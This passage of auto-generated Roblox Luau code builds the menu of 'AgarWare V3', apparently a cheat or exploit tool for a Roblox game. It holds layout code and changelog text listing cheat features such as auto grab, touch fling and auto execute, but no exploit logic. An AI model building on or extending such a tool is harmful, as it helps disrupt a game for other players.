G2L["2d9"]); G2L["2db"]["TextSize"] = 14; G2L["2db"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["2db"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["2db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["2db"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2db"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["2db"]["Text"] = [[?]]; G2L["2db"]["Name"] = [[SuggestHelp]]; G2L["2db"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.MessageRow G2L["2dc"] = Instance.new("Frame", G2L["2d3"]); G2L["2dc"]["BorderSizePixel"] = 0; G2L["2dc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2dc"]["Size"] = UDim2.new(0, 169, 0, 124); G2L["2dc"]["Position"] = UDim2.new(0.00294, 0, 0.23148, 0); G2L["2dc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2dc"]["Name"] = [[MessageRow]]; G2L["2dc"]["LayoutOrder"] = 3; G2L["2dc"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.MessageRow.MessageBox G2L["2dd"] = Instance.new("TextBox", G2L["2dc"]); G2L["2dd"]["Name"] = [[MessageBox]]; G2L["2dd"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2dd"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["2dd"]["TextWrapped"] = true; G2L["2dd"]["TextSize"] = 12; G2L["2dd"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["2dd"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2dd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2dd"]["ClearTextOnFocus"] = false; G2L["2dd"]["PlaceholderText"] = [[write any bugs or suggestions...]]; G2L["2dd"]["Size"] = UDim2.new(0, 161, 0, 117); G2L["2dd"]["Position"] = UDim2.new(0.02367, 0, 0.04114, 0); G2L["2dd"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2dd"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SendRow G2L["2de"] = Instance.new("Frame", G2L["2d3"]); G2L["2de"]["BorderSizePixel"] = 0; G2L["2de"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2de"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2de"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2de"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2de"]["Name"] = [[SendRow]]; G2L["2de"]["LayoutOrder"] = 4; G2L["2de"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SendRow.SendButton G2L["2df"] = Instance.new("TextButton", G2L["2de"]); G2L["2df"]["TextSize"] = 14; G2L["2df"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2df"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["2df"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2df"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["2df"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2df"]["Text"] = [[Send Message]]; G2L["2df"]["Name"] = [[SendButton]]; G2L["2df"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3 G2L["2e0"] = Instance.new("Frame", G2L["2c3"]); G2L["2e0"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["2e0"]["BorderMode"] = Enum.BorderMode.Middle; G2L["2e0"]["Size"] = UDim2.new(0, 170, 0, 46); G2L["2e0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2e0"]["Name"] = [[V3]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Script G2L["2e1"] = Instance.new("LocalScript", G2L["2e0"]); G2L["2e1"]["Name"] = [[Script]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.UIListLayout G2L["2e2"] = Instance.new("UIListLayout", G2L["2e0"]); G2L["2e2"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.V3AccentColor G2L["2e3"] = Instance.new("Frame", G2L["2e0"]); G2L["2e3"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["2e3"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["2e3"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["2e3"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["2e3"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["2e3"]["Name"] = [[V3AccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title G2L["2e4"] = Instance.new("TextLabel", G2L["2e0"]); G2L["2e4"]["TextWrapped"] = true; G2L["2e4"]["BorderSizePixel"] = 0; G2L["2e4"]["TextSize"] = 12; G2L["2e4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/PressStart2P.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2e4"]["BackgroundTransparency"] = 0.95; G2L["2e4"]["RichText"] = true; G2L["2e4"]["Size"] = UDim2.new(0, 169, 0, 18); G2L["2e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e4"]["Text"] = [[AGAR WARE V3 | PRE ALPHA]]; G2L["2e4"]["LayoutOrder"] = 1; G2L["2e4"]["Name"] = [[Title]]; G2L["2e4"]["Position"] = UDim2.new(0.00294, 0, 0.02427, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title.texteffects G2L["2e5"] = Instance.new("LocalScript", G2L["2e4"]); G2L["2e5"]["Name"] = [[texteffects]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute G2L["2e6"] = Instance.new("Frame", G2L["2e0"]); G2L["2e6"]["BorderSizePixel"] = 0; G2L["2e6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2e6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2e6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2e6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e6"]["Name"] = [[execute]]; G2L["2e6"]["LayoutOrder"] = 4; G2L["2e6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.script G2L["2e7"] = Instance.new("LocalScript", G2L["2e6"]); G2L["2e7"]["Name"] = [[script]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.executebutton G2L["2e8"] = Instance.new("TextButton", G2L["2e6"]); G2L["2e8"]["TextSize"] = 14; G2L["2e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2e8"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["2e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2e8"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["2e8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2e8"]["Text"] = [[Execute Agar Ware V3]]; G2L["2e8"]["Name"] = [[executebutton]]; G2L["2e8"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide G2L["2e9"] = Instance.new("Frame", G2L["2c2"]); G2L["2e9"]["BorderSizePixel"] = 0; G2L["2e9"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["2e9"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["2e9"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["2e9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e9"]["Name"] = [[MenuRightSide]]; G2L["2e9"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UIListLayout G2L["2ea"] = Instance.new("UIListLayout", G2L["2e9"]); G2L["2ea"]["Padding"] = UDim.new(0, 7); G2L["2ea"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup G2L["2eb"] = Instance.new("Frame", G2L["2e9"]); G2L["2eb"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["2eb"]["BorderMode"] = Enum.BorderMode.Middle; G2L["2eb"]["Size"] = UDim2.new(0, 170, 0, 131); G2L["2eb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2eb"]["Name"] = [[UpLogsGroup]]; G2L["2eb"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsScript G2L["2ec"] = Instance.new("LocalScript", G2L["2eb"]); G2L["2ec"]["Name"] = [[UpLogsScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UIListLayout G2L["2ed"] = Instance.new("UIListLayout", G2L["2eb"]); G2L["2ed"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsAccentColor G2L["2ee"] = Instance.new("Frame", G2L["2eb"]); G2L["2ee"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["2ee"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["2ee"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["2ee"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["2ee"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["2ee"]["Name"] = [[UpLogsAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsTitle G2L["2ef"] = Instance.new("TextLabel", G2L["2eb"]); G2L["2ef"]["TextWrapped"] = true; G2L["2ef"]["BorderSizePixel"] = 0; G2L["2ef"]["TextSize"] = 14; G2L["2ef"]["TextScaled"] = true; G2L["2ef"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ef"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ef"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["2ef"]["BackgroundTransparency"] = 0.95; G2L["2ef"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["2ef"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ef"]["Text"] = [[Change Log]]; G2L["2ef"]["LayoutOrder"] = 1; G2L["2ef"]["Name"] = [[UpLogsTitle]]; G2L["2ef"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsTitle.UpLogsMinimize G2L["2f0"] = Instance.new("TextButton", G2L["2ef"]); G2L["2f0"]["BorderSizePixel"] = 0; G2L["2f0"]["TextSize"] = 14; G2L["2f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f0"]["BackgroundTransparency"] = 1; G2L["2f0"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["2f0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f0"]["Text"] = [[-]]; G2L["2f0"]["Name"] = [[UpLogsMinimize]]; G2L["2f0"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow G2L["2f1"] = Instance.new("Frame", G2L["2eb"]); G2L["2f1"]["BorderSizePixel"] = 0; G2L["2f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f1"]["Size"] = UDim2.new(0, 169, 0, 91); G2L["2f1"]["Position"] = UDim2.new(0.00294, 0, 0.15217, 0); G2L["2f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f1"]["Name"] = [[ScrollingRow]]; G2L["2f1"]["LayoutOrder"] = 2; G2L["2f1"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame G2L["2f2"] = Instance.new("ScrollingFrame", G2L["2f1"]); G2L["2f2"]["Active"] = true; G2L["2f2"]["CanvasSize"] = UDim2.new(0, 0, 12, 0); G2L["2f2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["2f2"]["Size"] = UDim2.new(0, 152, 0, 103); G2L["2f2"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f2"]["Position"] = UDim2.new(0.05325, 0, 0.03516, 0); G2L["2f2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2f2"]["ScrollBarThickness"] = 10; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8 G2L["2f3"] = Instance.new("Frame", G2L["2f2"]); G2L["2f3"]["BorderSizePixel"] = 0; G2L["2f3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f3"]["Size"] = UDim2.new(0, 152, 0, 103); G2L["2f3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f3"]["Name"] = [[V2.8]]; G2L["2f3"]["LayoutOrder"] = 1000; G2L["2f3"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.Text G2L["2f4"] = Instance.new("TextLabel", G2L["2f3"]); G2L["2f4"]["TextWrapped"] = true; G2L["2f4"]["BorderSizePixel"] = 0; G2L["2f4"]["TextSize"] = 12; G2L["2f4"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2f4"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2f4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f4"]["BackgroundTransparency"] = 1; G2L["2f4"]["RichText"] = true; G2L["2f4"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["2f4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f4"]["Text"] = [[===== v2.7 > v2.8
New Features - New menu page and server status. New Tools setection (TCO).
Bug Fixes - Stronger auto grab (TCO).
=====]]; G2L["2f4"]["Name"] = [[Text]]; G2L["2f4"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.UIListLayout G2L["2f5"] = Instance.new("UIListLayout", G2L["2f2"]); G2L["2f5"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.1 G2L["2f6"] = Instance.new("Frame", G2L["2f2"]); G2L["2f6"]["BorderSizePixel"] = 0; G2L["2f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f6"]["Size"] = UDim2.new(0, 152, 0, 54); G2L["2f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f6"]["Name"] = [[V2.8.1]]; G2L["2f6"]["LayoutOrder"] = 999; G2L["2f6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.1.Text G2L["2f7"] = Instance.new("TextLabel", G2L["2f6"]); G2L["2f7"]["TextWrapped"] = true; G2L["2f7"]["BorderSizePixel"] = 0; G2L["2f7"]["TextSize"] = 12; G2L["2f7"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2f7"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2f7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f7"]["BackgroundTransparency"] = 1; G2L["2f7"]["RichText"] = true; G2L["2f7"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["2f7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f7"]["Text"] = [[===== v2.8 > v2.8.1
New Features - New welcome/joins alerts in TCO>Misc.]]; G2L["2f7"]["Name"] = [[Text]]; G2L["2f7"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.2 G2L["2f8"] = Instance.new("Frame", G2L["2f2"]); G2L["2f8"]["BorderSizePixel"] = 0; G2L["2f8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f8"]["Size"] = UDim2.new(0, 152, 0, 89); G2L["2f8"]["Position"] = UDim2.new(0, 0, -0.3663, 0); G2L["2f8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f8"]["Name"] = [[V2.8.2]]; G2L["2f8"]["LayoutOrder"] = 998; G2L["2f8"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.2.Text G2L["2f9"] = Instance.new("TextLabel", G2L["2f8"]); G2L["2f9"]["TextWrapped"] = true; G2L["2f9"]["BorderSizePixel"] = 0; G2L["2f9"]["TextSize"] = 12; G2L["2f9"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2f9"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f9"]["BackgroundTransparency"] = 1; G2L["2f9"]["RichText"] = true; G2L["2f9"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["2f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f9"]["Text"] = [[===== v2.8.1 > v2.8.2
New Features - New respawn at death in the Main page, added a recenter Gui button if the gui is out of the screen.]]; G2L["2f9"]["Name"] = [[Text]]; G2L["2f9"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.3 G2L["2fa"] = Instance.new("Frame", G2L["2f2"]); G2L["2fa"]["BorderSizePixel"] = 0; G2L["2fa"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fa"]["Size"] = UDim2.new(0, 152, 0, 89); G2L["2fa"]["Position"] = UDim2.new(0, 0, -0.3663, 0); G2L["2fa"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2fa"]["Name"] = [[V2.8.3]]; G2L["2fa"]["LayoutOrder"] = 997; G2L["2fa"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.3.Text G2L["2fb"] = Instance.new("TextLabel", G2L["2fa"]); G2L["2fb"]["TextWrapped"] = true; G2L["2fb"]["BorderSizePixel"] = 0; G2L["2fb"]["TextSize"] = 12; G2L["2fb"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2fb"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2fb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fb"]["BackgroundTransparency"] = 1; G2L["2fb"]["RichText"] = true; G2L["2fb"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["2fb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2fb"]["Text"] = [[===== v2.8.2 > v2.8.3
New Features - New server info shows if your in TCO and OG supported.
Bug Fixes - Faster auto loading.]]; G2L["2fb"]["Name"] = [[Text]]; G2L["2fb"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.4 G2L["2fc"] = Instance.new("Frame", G2L["2f2"]); G2L["2fc"]["BorderSizePixel"] = 0; G2L["2fc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fc"]["Size"] = UDim2.new(0, 152, 0, 89); G2L["2fc"]["Position"] = UDim2.new(0, 0, -0.3663, 0); G2L["2fc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2fc"]["Name"] = [[V2.8.4]]; G2L["2fc"]["LayoutOrder"] = 996; G2L["2fc"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.4.Text G2L["2fd"] = Instance.new("TextLabel", G2L["2fc"]); G2L["2fd"]["TextWrapped"] = true; G2L["2fd"]["BorderSizePixel"] = 0; G2L["2fd"]["TextSize"] = 12; G2L["2fd"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2fd"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2fd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fd"]["BackgroundTransparency"] = 1; G2L["2fd"]["RichText"] = true; G2L["2fd"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["2fd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2fd"]["Text"] = [[===== v2.8.3 > v2.8.4
New Features - Added enlighten icon display on the leaderboard iin TCO > Misc.
Bug Fixes - Touch fling now works.]]; G2L["2fd"]["Name"] = [[Text]]; G2L["2fd"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.5 G2L["2fe"] = Instance.new("Frame", G2L["2f2"]); G2L["2fe"]["BorderSizePixel"] = 0; G2L["2fe"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2fe"]["Size"] = UDim2.new(0, 152, 0, 89); G2L["2fe"]["Position"] = UDim2.new(0, 0, -0.3663, 0); G2L["2fe"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2fe"]["Name"] = [[V2.8.5]]; G2L["2fe"]["LayoutOrder"] = 995; G2L["2fe"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.5.Text G2L["2ff"] = Instance.new("TextLabel", G2L["2fe"]); G2L["2ff"]["TextWrapped"] = true; G2L["2ff"]["BorderSizePixel"] = 0; G2L["2ff"]["TextSize"] = 12; G2L["2ff"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2ff"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["2ff"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ff"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ff"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ff"]["BackgroundTransparency"] = 1; G2L["2ff"]["RichText"] = true; G2L["2ff"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["2ff"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ff"]["Text"] = [[===== v2.8.4 > v2.8.5
New Features - New suggestions and bug reports Tab in Menu Page. New buttons added in Tools Tab and Boombox Tab (TCO).]]; G2L["2ff"]["Name"] = [[Text]]; G2L["2ff"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.6 G2L["300"] = Instance.new("Frame", G2L["2f2"]); G2L["300"]["BorderSizePixel"] = 0; G2L["300"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["300"]["Size"] = UDim2.new(0, 152, 0, 82); G2L["300"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["300"]["Name"] = [[V2.8.6]]; G2L["300"]["LayoutOrder"] = 994; G2L["300"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.6.Text G2L["301"] = Instance.new("TextLabel", G2L["300"]); G2L["301"]["TextWrapped"] = true; G2L["301"]["BorderSizePixel"] = 0; G2L["301"]["TextSize"] = 12; G2L["301"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["301"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["301"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["301"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["301"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["301"]["BackgroundTransparency"] = 1; G2L["301"]["RichText"] = true; G2L["301"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["301"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["301"]["Text"] = [[===== v2.8.5 > v2.8.6
New Features - New auto execute in the Settings Tab.
Bug Fixes - Auto Load is now 3x faster.]]; G2L["301"]["Name"] = [[Text]]; G2L["301"]["Position"] = UDim2.new(0.04605, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.7 G2L["302"] = Instance.new("Frame", G2L["2f2"]); G2L["302"]["BorderSizePixel"] = 0; G2L["302"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["302"]["Size"] = UDim2.new(0, 152, 0, 56); G2L["302"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["302"]["Name"] = [[V2.8.7]]; G2L["302"]["LayoutOrder"] = 993; G2L["302"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.7.Text G2L["303"] = Instance.new("TextLabel", G2L["302"]); G2L["303"]["TextWrapped"] = true; G2L["303"]["BorderSizePixel"] = 0; G2L["303"]["TextSize"] = 12; G2L["303"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["303"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["303"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["303"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["303"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["303"]["BackgroundTransparency"] = 1; G2L["303"]["RichText"] = true; G2L["303"]["Size"] = UDim2.new(0, 133, 0, 76); G2L["303"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["303"]["Text"] = [[===== v2.8.6 > v2.8.7
